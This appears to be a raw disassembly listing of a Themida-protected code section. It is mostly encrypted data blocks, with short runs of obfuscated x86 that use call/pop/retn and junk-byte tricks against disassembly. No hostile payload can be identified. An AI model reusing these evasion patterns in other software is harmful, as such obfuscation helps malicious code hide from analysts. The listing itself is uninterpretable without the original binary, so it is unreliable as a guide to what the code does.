		dd 89672127h, 563522ABh, 0AC7B398h, 1228B463h, 0A433CA61h
		dd 0E251E1BFh, 0A9743513h, 0AB896721h, 42563522h, 2613AA46h
		dd 70FD8C64h, 13EA5192h, 2F937435h, 6DC155E9h, 0C9A736EEh
		dd 0AC8A6421h, 6421A381h, 4B29AC8Ah, 0F4793622h, 0D01228B4h
		dd 0DBBDAA39h, 4B294725h, 0B4635A38h, 8A64218Ch, 6CA381ACh
		dd 214B298Eh, 81AB8967h, 793622A3h, 1228B4F4h, 48A6E3D0h
		dd 0A635CC63h, 1C516543h, 6F1228B5h, 0BE228765h, 0DE9B8B33h
		dd 1229558Fh, 8E3A9E35h, 3BE67583h, 7D6A56CCh, 65FCE11Fh
		dd 298EC5A8h, 1FDDB712h, 7654E37Ah, 8E6CA987h, 9C523522h
		dd 2F14D2AFh, 601D0998h, 1228B50Dh, 294220B7h, 8A64214Bh
		dd 214B29ACh, 0B4A18660h, 0EB3419D7h, 7B0D140h,	8CB46329h
		dd 35228E6Ch, 1F0B9A54h, 28B50B62h, 4422B912h, 0C5D23622h
		dd 5915A119h, 0FB722FBEh, 0C9122963h, 0A3815432h, 4B298E6Ch
		dd 0AC8A6421h, 0BFABA381h, 0AA39B7D2h, 0B51C51CCh, 656F1228h
		dd 8CB46387h, 8E6CA987h, 9D533522h, 6C4B290Eh, 224B298Eh
		dd 9985635h, 937F7D1Ch,	0B483EAA7h, 54411228h, 3FD6BB31h
		dd 23D9BBA8h, 3A18A73Eh, 0EAA89581h, 0B471FCB9h, 0BC531228h
		dd 1AA94025h, 8660213Ch, 0AB4B29A8h, 866021CDh,	12ECAD9Ah
		dd 0EEA9962Dh, 81A38110h, 793622A3h, 1228B4F4h,	0BDAA39D0h
		dd 294422DCh, 4ABE224Bh, 0AB296CB7h, 432AE776h,	481228FFh
		dd 36228765h, 28B4F479h, 0AA39D012h, 212810FFh,	81A88660h
		dd 866021A3h, 573522A8h, 14AB4143h, 0C7B4A085h,	0C09E2DCBh
		dd 28B51C51h, 60216F12h, 13123BB9h, 841B2376h, 1AD6B29Fh
		dd 0EF1EC935h, 0CF9E58Eh, 8E6758Bh, 927EB463h, 28B498D5h
		dd 6952C12h, 5ABE2228h,	7FC77CBFh, 43402DBCh, 3622C7A5h
		dd 28B4F479h, 0ED0B8812h, 9522B148h, 0F73E45A9h, 91F50B8Dh
		dd 0D4B63667h, 9A0371Ch, 8E6C9C7Ah, 60214B29h, 0B1965230h
		dd 3397831Ah, 0B4735453h, 6C4AD99Eh, 4F4ABE22h,	8442DF6Ch
		dd 6C3210F5h, 0C65228Eh, 0B81228B5h, 36224321h,	28B4F479h
		dd 0AA39D012h, 60213F1Dh, 9581A886h, 8110ECA8h,	523522A3h
		dd 9120B79Ch, 62212C0Ah, 3D29A684h, 0C5A86551h,	0FF1228B4h
		dd 0B4C2AB68h, 6B021228h, 0BFABFEDCh, 5338B0D2h, 33CA2666h
		dd 6221C6A4h, 9581A684h, 4F4A7731h, 0B8474E22h,	793622DAh
		dd 1228B4F4h, 0BDAA39D0h, 294220DEh, 0C5BE224Bh, 0FC16F1EDh
		dd 3E2FEC7Bh, 4D1228CCh, 0A1866021h, 0C5C6D0B4h, 66AF942Bh
		dd 822B4CBBh, 8CB463A4h, 9B553522h, 0A3901FB6h,	2D1A06E4h
		dd 17AE936Dh, 9581AA88h, 8211EFA8h, 503522A4h, 63220F9Eh
		dd 4B29A785h, 28B51C51h, 69FD6112h, 0A8DC4D90h,	655836C5h
		dd 7EB46387h, 7F4F291h,	0FDDB6A88h, 0A6846221h,	8E6CA381h
		dd 62214B29h, 50349884h, 71787236h, 9930CECDh, 0DE64C635h
		dd 0E06FD634h, 6C4B2902h, 96D79480h, 2E1228B4h,	222A0897h
		dd 28B50C65h, 4321B812h, 6221A381h, 0A381A684h,	4B298E6Ch
		dd 99573522h, 6CA5830Ah, 224B298Eh, 0D9C5235h, 0A6846020h
		dd 3522A381h, 20B79C52h, 7CD95ABCh, 27B61DC9h, 29F0D76Ah
		dd 0BE22B412h, 0E3291D0Dh, 3C29B8EEh, 22C19F5Dh, 0B4F47936h
		dd 39D01228h, 6CE7C5AAh, 865228Eh, 0BC1228B5h, 5338B6CFh
		dd 4C3925BCh, 4523B24Eh, 0CDABA381h, 4B298E6Ch,	0A6846221h
		dd 3622A381h, 28B4F479h, 0AA39D012h, 1C516947h,	6F1228B5h
		dd 0B4638765h, 21A9878Ch, 29A68462h, 0B51C514Bh, 216F1228h
		dd 0B3A08563h, 8D361BD1h, 0A95233E2h, 8CB463CBh, 6C2E6221h
		dd 0C3C2AF94h, 12A94025h, 95819D7Bh, 0D4B5E9A8h, 16F4831Ah
		dd 0A6846221h, 9A543522h, 5148260Bh, 1228B51Ch,	6387656Fh
		dd 0D5927EB4h, 1228B498h, 0B131952Ch, 1CF08DD8h, 214422B1h
		dd 0AB988462h, 932A0FEDh, 0BE222604h, 0E7BA409Ch, 0F3B09CB8h
		dd 12290E7Ah, 9724B34Ah, 846221B9h, 224B29A6h, 28B50865h
		dd 3825BC12h, 25BCA15Fh, 0EDAA9783h, 22A68413h,	0E08D4A36h
		dd 0E41228B4h, 6C01BE4Dh, 111228B4h, 0A0342DADh, 21A206E2h
		dd 0B65BEA3Ah, 4B29411Fh, 0B463C4A2h, 2E62218Ch, 20FE956Bh
		dd 9B553522h, 6CA17F0Ch, 0F6F49380h, 4B298967h,	6D2E6221h
		dd 0EA55B3Dh, 0E5A59229h, 2488740Bh, 0B28FE5B7h, 0EAC857C2h
		dd 0C4A24B29h, 927EB463h
		dd 28B498D5h, 6952C12h,	8652228h, 0BC1228B5h, 22A58325h
		dd 28B50865h, 3925BC12h, 4DB14F4Ch, 8E6B4A6Bh, 6644D318h
		dd 0F4793622h, 0D01228B4h, 3F1DAA39h, 0A6846221h, 98563522h
		dd 542F1CB3h, 8B1AB196h, 8E6CC8A6h, 88D23622h, 3B83E668h
		dd 0E98441D0h, 0DB12298Dh, 7E6C5677h, 6E669D70h, 0E5D13542h
		dd 19F78E86h, 3F9FBE22h, 9271EDB7h, 45321E03h, 30C7AC42h
		dd 43E68744h, 47DE1229h, 0C4A2DAB8h, 218CB463h,	81A68462h
		dd 553522A3h, 901FB69Bh, 806C2B09h, 0FD6F151Ch,	1AA92FF8h
		dd 9ABE223Ch, 9B513386h, 2CBB1FB6h, 5FB0446h, 0FE8841DBh
		dd 15F3D867h, 4B298E6Ch, 0AA886621h, 0BFABA381h, 510E6FD3h
		dd 0DB2C08A6h, 29774F1Eh, 4FDE7512h, 0B51C5171h, 656F1228h
		dd 8CB46387h, 6321A987h, 0CCF4E2B8h, 7B12920Dh,	0AB4B299Dh
		dd 856321CDh, 793622A7h, 1228B4F4h, 1DAA39D0h, 2F63213Fh
		dd 0EEA99654h, 0FD942B10h, 224B291Fh, 5138FCBEh, 9756BA34h
		dd 702DBC84h, 1228E2FDh, 8C79658Eh, 8C08F50Bh, 65F48B70h
		dd 8CB46387h, 0A7856321h, 0F4793622h, 0D01228B4h, 3F1DAA39h
		dd 0A7856321h, 1C514B29h, 6F1228B5h, 0A2876121h, 381DD3B5h
		dd 91F221CCh, 0B4630AE8h, 8563218Ch, 573522A7h,	917D0A99h
		dd 0B485E8A5h, 0A83F1228h, 63213B19h, 4B29A785h, 0F693806Ch
		dd 228B69F8h, 0AC4A4936h, 77D463C7h, 0E8C53BACh, 6805C251h
		dd 1512299Fh, 0AC916F28h, 4AE18615h, 503D296Ch,	4C2AB937h
		dd 0B463C4A2h, 7936228Ch, 1228B4F4h, 0BDAA39D0h, 76C854DFh
		dd 9F846221h, 5814A408h, 224624BBh, 9985635h, 806C9E7Ch
		dd 15FAF093h, 2911EF7Eh, 8563214Bh, 0A24B29A7h,	7EB463C4h
		dd 95E9B91Ah, 36C5201Ch, 228E6C58h, 28B50865h, 3925BC12h
		dd 93E6494Ch, 9BF3F3F7h, 9C7A09A0h, 9B553522h, 3901FB6h
		dd 0A3DCB317h, 6DBEAF6Ch, 6F061229h, 82951D0Bh,	362215F3h
		dd 0F3B04E49h, 1228B47Ah, 866B8502h, 24B34AEFh,	0BD9B5937h
		dd 32503D29h, 0AB3AD1B6h, 86522CDh, 0BC1228B5h,	0B55A13D0h
		dd 0D36A1228h, 22BC9A3Ch, 28B50865h, 3925BC12h,	26B54B4Ch
		dd 54352248h, 0C5AA4644h, 2308972Eh, 63C4A245h,	6C1A7EB4h
		dd 26C0C1ACh, 1146AA41h, 957302C9h, 0A7856321h,	806CA381h
		dd 13F8F693h, 0A58A6626h, 0AE8770Eh, 35224B29h,	870E9D53h
		dd 216B49A9h, 3C9F8462h, 25B2304Fh, 28B50068h, 0A695AC12h
		dd 0FBE8126Ch, 0E47B609Eh, 25DF9855h, 9CCD12B0h, 3612B025h
		dd 0CE8A895h, 0F6F2927Fh, 7C392511h, 12B025F1h,	4AAD3CD3h
		dd 0B025DC8Dh, 0F053F612h, 0B0269E33h, 0DB4AF512h, 0A3DA0DCAh
		dd 31712F3h, 39000000h,	7D21E4C2h, 0D3B19E83h, 46433015h
		dd 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h
		dd 0D9BBA88Dh, 686F3E23h, 7D8B714h, 0F87B33E9h,	918177FFh
		dd 3BE9h, 0BD8B6000h, 7D12855h,	3304EF83h, 0BBC18BC9h
		dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
		dd 41FFFFFFh, 0F9810789h, 100h,	0FFD3820Fh, 0C361FFFFh
		dd 0ED55C88Bh, 7A5E75FDh, 69A476F6h, 49BC56E6h,	1AA575FDh
		dd 1A88EBFDh, 1A9F28FDh, 1A128EFDh, 1AD078FDh, 1A3256FDh
		dd 1A433FFDh, 1AFB1CFDh, 1AA70BFDh, 1A8836FDh, 1A9F0FFDh
		dd 1A1760FDh, 1AD0CDFDh, 1A32A2FDh, 1A438FFDh, 1AF94BFDh
		dd 1AA69FFDh, 8A259DFDh, 0A2229535h, 714A76D6h,	4BBD5CDEh
		dd 7A5A5CF4h, 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh
		dd 7BF374F5h, 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 0D0276FDh
		dd 2E075A2h, 7ACB75A2h,	7BE475FDh, 7BF374FCh, 0B29074FCh
		dd 1ABC75F8h, 7DF2F070h, 0FFA67224h, 7D4E761Eh,	7D09F070h
		dd 0FF6C7224h, 7D2B765Eh, 7279F070h, 0FF357224h, 7D877622h
		dd 7D4FF070h, 0FF1E7224h, 7D12765Ah, 7DFAF070h,	0FF7B7224h
		dd 7DA07656h, 7F01F070h, 0FFD77224h, 7DF67652h,	7F58F070h
		dd 0FF427224h, 7D3C764Eh, 7F17F070h, 0FFF07224h, 7D65764Ah
		dd 7C1EF070h, 0FFA67224h, 7D4E763Eh, 7CC7F070h,	0FF6C7224h
		dd 7D2B7646h, 7C52F070h, 0FF357224h, 7D877642h,	7C6FF070h
		dd 0FF1E7224h, 7D12763Eh, 7C9FF070h, 0FF7B7224h, 7DA0762Eh
		dd 7C25F070h, 0FFD77224h, 7DF6762Ah, 7C2BF070h,	0FF427224h
		dd 7D3C7626h, 7DF7F070h, 0FFF07224h, 7D65763Ah,	7D62F070h
		dd 0FFA67224h, 7D4E7636h, 7D1CF070h, 0FF6C7224h, 7D2B7632h
		dd 6990F076h, 0FF35722Ch, 7D8771E1h, 5D42F076h,	0FF1E722Ch
		dd 7D1271DDh, 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 0A3B94517h
		dd 3FD525FAh, 61ADFDF5h, 2290ACF9h, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 7FED987Ch, 0FFA07224h,	7DF6765Fh
		dd 7935C87Dh, 9CF7224h,	75E4C5B4h, 0BAF9B54Bh, 0EF863589h
		dd 7D6571DDh, 2B96FEBDh, 7A2F7A45h, 5A028AFDh, 0F7CCACF9h
		dd 0A3E6D648h, 0FCC6F8FAh, 7E4B9D50h, 6FCF75FDh, 7A5E7645h
		dd 5ABA8AFDh, 0F790ACF9h, 0A3C8D648h, 0FCD1F8FAh, 23228A50h
		dd 0F787BC1Fh, 7D65765Fh, 20052DA0h, 92EC2CA3h,	7A97776Dh
		dd 79C1CD4Dh, 66708A57h, 0D1F5ACF9h, 78079D3Eh,	0C2DA75FDh
		dd 5954CD9Bh, 0EFD0DE9Bh, 7D4E71E1h, 9208DE9Bh,	7AE57795h
		dd 72F3360Bh, 0EF866E88h, 7D6571E1h, 7954C54Dh,	66BA8AADh
		dd 2090ACF9h, 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh
		dd 7ABE4E15h, 0A0652FFDh, 59A57B89h, 7094913Dh,	0BA07F5DFh
		dd 0D183FE4Dh, 7B009D3Eh, 922A75FDh, 7ABC77E1h,	0E844EA7h
		dd 0D049C512h, 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h
		dd 207975FFh, 72BD360Bh, 0A0655488h, 59A56889h,	7094913Dh
		dd 0BA07F5DFh, 85B5FF4Dh, 0A3F66968h, 5F1F2FFAh, 71DA51FDh
		dd 0B9F5133Fh, 9285E94Dh, 7A9774BDh, 9261F44Dh,	7AE57435h
		dd 7AF22D15h, 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h
		dd 1C9775FCh, 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh
		dd 7BB69D56h, 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh
		dd 8CE575FCh, 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h,	9EDEDFFDh
		dd 84487DF9h, 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh,	0EF0D75FDh
		dd 7DA071DDh, 795BC070h, 8A5D7224h, 0D02C7F51h,	7E8BE002h
		dd 92087224h, 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h
		dd 0CA5E75FCh, 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h
		dd 4BFDCD9Bh, 6B91DE9Bh, 0CA438A03h, 22EEDFA7h,	929FB657h
		dd 923C2257h, 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h
		dd 92438A00h, 7A5E7505h, 79252D4Dh, 0FF69B657h,	7D127664h
		dd 797CC87Dh, 0FF37224h, 71FCF8ECh, 2ABBACF9h, 7A5C6115h
		dd 781B9DFDh, 1A2775FDh, 87759D57h, 0C30D8A02h,	0CA0D8A00h
		dd 0F787DF9Ch, 7D657664h, 79C7C87Dh, 0F2F7224h,	7112F8F1h
		dd 2ACCACF9h, 7AE4DE15h, 7E4AB6FDh, 857975FDh, 0A3B85568h
		dd 12C3F8FAh, 0F028ACF5h, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h
		dd 0F1A875FDh, 0F9BB5E3Ah, 78357115h, 66CB8A3Eh, 0CE28ACF9h
		dd 0E96514Ah, 0CA74C1FFh, 924E13F2h, 7AF275C9h,	7A279DAEh
		dd 0F0E675FDh, 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7D1271E1h
		dd 0FAEA917Dh, 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h
		dd 92ACB7D6h, 0B995FCF9h, 7ACB7345h, 5A708AFDh,	0F7F5ACF9h
		dd 0A37A8A60h
		dd 39A0F8FAh, 7A4ECD3Eh, 0EFD075FDh, 7D4E71DDh,	0F1CEB57Eh
		dd 0EF1A8935h, 7D2B71E1h, 0B98E9757h, 8543BE15h, 7B1DFF02h
		dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
		dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 0A3270D17h, 86EAFCFAh
		dd 7ED0CF7Dh, 75E57224h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh
		dd 7D8771DDh, 5EADFCBDh, 0F190ACF9h, 3679F835h,	85E2ACF4h
		dd 0A3F6696Fh, 3C7FFDFAh, 6D04801Fh, 795E75FDh,	0A32B517Fh
		dd 0E01A35FAh, 7D127CBDh, 0F3E1B67Eh, 644B22FEh, 797975FDh
		dd 0A3B85177h, 54ECF8FAh, 8928ACF4h, 722F2B59h,	85CB75FDh
		dd 0A3E1556Fh, 7E0AF6FAh, 7C718589h, 7ABC7244h,	4B5A7DFDh
		dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h,	72F275FDh
		dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
		dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
		dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
		dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
		dd 90162FFDh, 7D127CA2h, 7ECDCF70h, 0F797224h, 7A71CCF5h
		dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7D4E71D5h, 7BD3497Dh
		dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
		dd 0A326ED17h, 5225F8FAh, 0F1CCACF9h, 725C7D80h, 89F275FDh
		dd 0B8B01459h, 0F7DC75F9h, 0A35A5D40h, 0C3EF46FAh, 7A9775F5h
		dd 0B9AADF0Eh, 5258F89Dh, 0FBF5ACF9h, 7B7874C2h, 0FBB000FCh
		dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch,	0A3E15D40h
		dd 7AF3CDFAh, 72C075FDh, 89BC75FDh, 0F19D1457h,	0F7EFFE3Dh
		dd 0A3934078h, 8BD08AFAh, 0CF8D8DCAh, 8B07D90Ah, 518D89D3h
		dd 6A07D11Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 450FC353h, 0B58B36D1h,	7D13171h
		dd 2D5585C7h, 5A2007D1h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 1CBB6AC3h, 13F0DC8h
		dd 85C7FE8Bh, 7D11D39h,	0
; ---------------------------------------------------------------------------
		mov	ax, 9495h
		push	dword ptr [ebp+7D118F5h]
		jmp	loc_6070C9
; ---------------------------------------------------------------------------
		jmp	fword ptr [edi]
; ---------------------------------------------------------------------------
		db 0B9h, 0D6h, 57h
		dd 3B1CFC89h
		db 29h
; ---------------------------------------------------------------------------


loc_6070C9:				; CODE XREF: Themida_:006070BAj
		call	dword ptr [ebp+7D11801h]
		push	0
		push	edx
		call	sub_6070DA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6070DA	proc near		; CODE XREF: Themida_:006070D2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_6070DA	endp

; ---------------------------------------------------------------------------
		pop	ebp
		mov	eax, 50F14114h
		jmp	loc_607106
; ---------------------------------------------------------------------------
		db 0D8h, 0F3h, 0DCh
		dd 9333D2DAh, 6E016CA4h, 7225EAB7h
		db 89h,	81h
; ---------------------------------------------------------------------------


loc_607106:				; CODE XREF: Themida_:006070F0j
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_60717E
; ---------------------------------------------------------------------------
		push	esi
		dec	edi
		mov	edx, 7D5B543Fh
		retf
; ---------------------------------------------------------------------------
		dw 3A33h
		dd 0F87FBFEDh, 95CB1F4Bh, 0DA318F24h, 6B301D95h, 86D2403h
		dd 25FAB58Ah, 6D3ED502h, 0AFA788Ah, 0C12E0BF0h,	8E9AA192h
		dd 0CE921CC5h, 0D8409E25h, 8FF3D9D7h, 86557596h, 0E4CF8259h
		dd 7CB9B5C3h, 0B5AEF67Dh, 0E7311246h, 0ECFDB8E2h, 26ED6B9Ah
		dd 274238Fh, 8B27E64Eh,	0EEF8AC14h, 0EE00BC5Eh
; ---------------------------------------------------------------------------
		jbe	short near ptr byte_607189


loc_60717E:				; CODE XREF: Themida_:00607110j
		jmp	short loc_607196
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		db 0
byte_607189	db 3 dup(0)		; CODE XREF: Themida_:0060717Cj
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		add	[ecx], eax


loc_607196:				; CODE XREF: Themida_:loc_60717Ej
		cwde
		pop	es
; ---------------------------------------------------------------------------
		dd 7D90000h, 50DF8B66h,	489FA8Bh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 3FDBAFDAh
		dd 67B78D4Fh, 0CA81006Ah, 437C3410h, 156D8D0Bh,	6A07D1h
		dd 8BC3F580h, 0D12CE18Dh, 28858D07h, 0B207D90Ch, 880F906Ah
		dd 7, 98E5B860h, 50613AC4h, 90D68B66h, 162D8D8Bh, 6A07D1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h
		dd 41B011A0h, 1DF2173h,	0D12E0DB5h, 81006A07h, 1D7AACE9h
		dd 0E195FF2Ah, 6A07D11Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0D2BDC353h,	0AAACFEACh
		dd 4E95A56h, 80000006h,	0E836D3h, 5D000000h, 0C2DED81h
		dd 6A07D9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 9A3C39C3h, 126E221Bh, 0F8BF0FFCh,	0BE8h
		dd 15B93C00h, 2A986529h, 0B4FD50DAh, 7EF0BA66h,	9825685Ah
		dd 5E848E5h, 23000000h,	512F247h, 59616051h, 2434815Ah
		dd 48E59785h, 35BD8952h, 5A07D12Fh, 5595FFh, 6A07D1h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 611AEBC3h, 0FF54929h, 0FE9D8B7h, 0F4000000h,	6786CB5Ah
		dd 0B5D2BC70h, 0EFE794D2h, 8D895E47h, 7D128E1h,	0B42B58Dh
		dd 6A07D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0F6003C3h, 28Ah, 8BEA8A00h, 0D122A985h, 6C76107h
		dd 6D676552h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0A6C35646h, 446C75Bh, 6C636E6Fh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 7FC35141h, 137621Dh
		dd 59B589h, 46C707D1h, 73736108h, 6AD78B00h, 0D18D0300h
		dd 8D07D130h, 0D90B4285h, 798D3107h, 5007D131h,	489CF8Ah
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FFD10757h, 0D12B3995h, 5E807h, 0E6C60000h
		dd 8BB4462Fh, 0D101ED95h, 0C00B5A07h, 4F840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D2BBBC3h, 7D12201h,	412E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 6810FE3h, 89000000h
		dd 0D11E5585h, 89ED6807h, 5250DBDCh, 0FDF8B66h,	0AE831h
		dd 65B00000h, 4520CD69h, 6057E78Ch, 2FBCFBB9h, 585A5B72h
		dd 3F240481h, 6A242377h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0E2AFC357h,	5C276170h
		dd 8D89D78Bh, 7D12491h,	5595FFh, 6A07D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0F7211BC3h
		dd 0BE9ACh, 0B7D70000h,	0B4A762ADh, 0BC2D8BAEh,	42B58D79h
		dd 0C707D90Bh, 34383106h, 446C736h, 31342D37h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8CC35747h, 0F58C13F1h
		dd 0A12E2BD4h, 846C75Eh, 0
; ---------------------------------------------------------------------------
		mov	dl, 9Ch
		push	0
		push	0
		push	edi
		call	sub_60751B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60751B	proc near		; CODE XREF: Themida_:00607513p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_60751B	endp

; ---------------------------------------------------------------------------
		cmpsb
		cmp	edi, [ebx]
		db	3Eh
		jnp	short loc_6075AC
		movzx	ebx, di
		mov	edi, 469A3E7h
		lea	eax, [ebp+7D90B42h]
		push	0
		push	edi
		call	sub_60754A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60754A	proc near		; CODE XREF: Themida_:00607542p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_60754A	endp

; ---------------------------------------------------------------------------
		dw 39DDh
		dd 14E9DBh, 9E3D0000h, 0FDFD7BE8h, 0DE95255Fh, 0D7F9076Fh
		dd 43A69B40h, 0E990DE0Eh, 7, 0FF359C9h,	50BE8959h, 1C02EABFh
		dd 8D01906Fh, 7D10F51h,	2B3995FFh, 8D3307D1h, 7D103F1h
		dd 840FC00Bh, 17h, 28B0Fh, 0D88B0000h
; ---------------------------------------------------------------------------


loc_6075AC:				; CODE XREF: Themida_:0060752Ej
		jmp	loc_60782F
; ---------------------------------------------------------------------------
		db 8Bh,	0BDh, 0F9h
		dd 6607D128h, 0E831EFBFh, 4, 12Ch, 2ADBB950h, 448B2357h
		dd 52500424h, 310FF48Ah, 0F525060h, 51585A31h, 585A615Bh
		dd 8A57008Bh, 44895BCBh, 0E8530424h, 8,	320497BCh, 9DCFB18Bh
		dd 8E39CEB9h, 5859595Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0A3C35242h, 0DAD80D83h, 1BD59589h, 0BE807D1h
		dd 97000000h, 0C430D0CEh, 0F8F9CE3Eh, 81669E35h, 5A2AF4E1h
		dd 5595FFh, 6A07D1h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 190424h, 50400000h, 9257D9C3h, 8A2D4DE7h, 9E9F5h, 0C25F0000h
		dd 33DC1A8Ch, 8D894075h, 0D90B42B5h, 0ED9D8B07h, 0C707D10Bh
		dd 6C694606h, 12E95265h, 5F000000h, 13626145h, 7B52A837h
		dd 8646E1DFh, 727BC774h, 46C75B0Fh, 6E6F6D04h, 51006A63h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0B12DBE54h, 8B168B59h, 0C78166B5h, 46C79937h, 73616C08h
		dd 57006A73h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD8BF34Ah, 7D11689h, 0C46C7h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0D136C352h, 66A78241h, 6ACB8Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 31C35646h, 0ED030293h
		dd 0B42858Dh, 6A07D9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 3E5B3FC3h, 66B2B49Bh, 0ACDDF781h
		dd 6E890h, 0B9FA0000h, 4AE348EBh, 0F18B6660h, 5A61E1B4h
		dd 48A0F50h, 53000000h,	905F5957h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 66C35141h, 0EFB521A9h, 0BA66A525h
		dd 95FF3060h, 7D12B39h,	0FF18531h, 0BF6607D1h, 0C00BAD7Dh
		dd 56840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 8FEA41C3h, 66CF2A27h, 38E9FE8Bh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 4A9CC351h, 3E442A1Ah, 0FCC0A4Eh
		dd 8D89FFBFh, 7D10195h,	0FFFA3DE9h, 0C1BD89FFh
; ---------------------------------------------------------------------------
		xor	cl, dl
		pop	es


loc_60782F:				; CODE XREF: Themida_:loc_6075ACj
		lea	esi, [ebp+7D170C4h]
		add	[ebp+7D11C41h],	ecx
		mov	eax, 0
		push	0
		push	ecx
		call	sub_60784B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60784B	proc near		; CODE XREF: Themida_:00607843p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_60784B	endp

; ---------------------------------------------------------------------------
		db 0DFh
		dd 0FFF800E2h, 95B529E6h, 8B07D119h, 2AE9C1h, 4C70000h
		dd 24h,	0E800h,	815D0000h, 0D9123CEDh, 24448B07h, 81858904h
		dd 0B807D119h, 0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+7D14D0Ah]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		lea	ecx, [ebp+7D91338h]
		xor	edi, [ebp+7D13391h]
		mov	bx, 0CF3Dh
		mov	[ebp+7D11B51h],	ecx
		push	0
		push	eax
		call	sub_6078BE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6078BE	proc near		; CODE XREF: Themida_:006078B6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_6078BE	endp

; ---------------------------------------------------------------------------
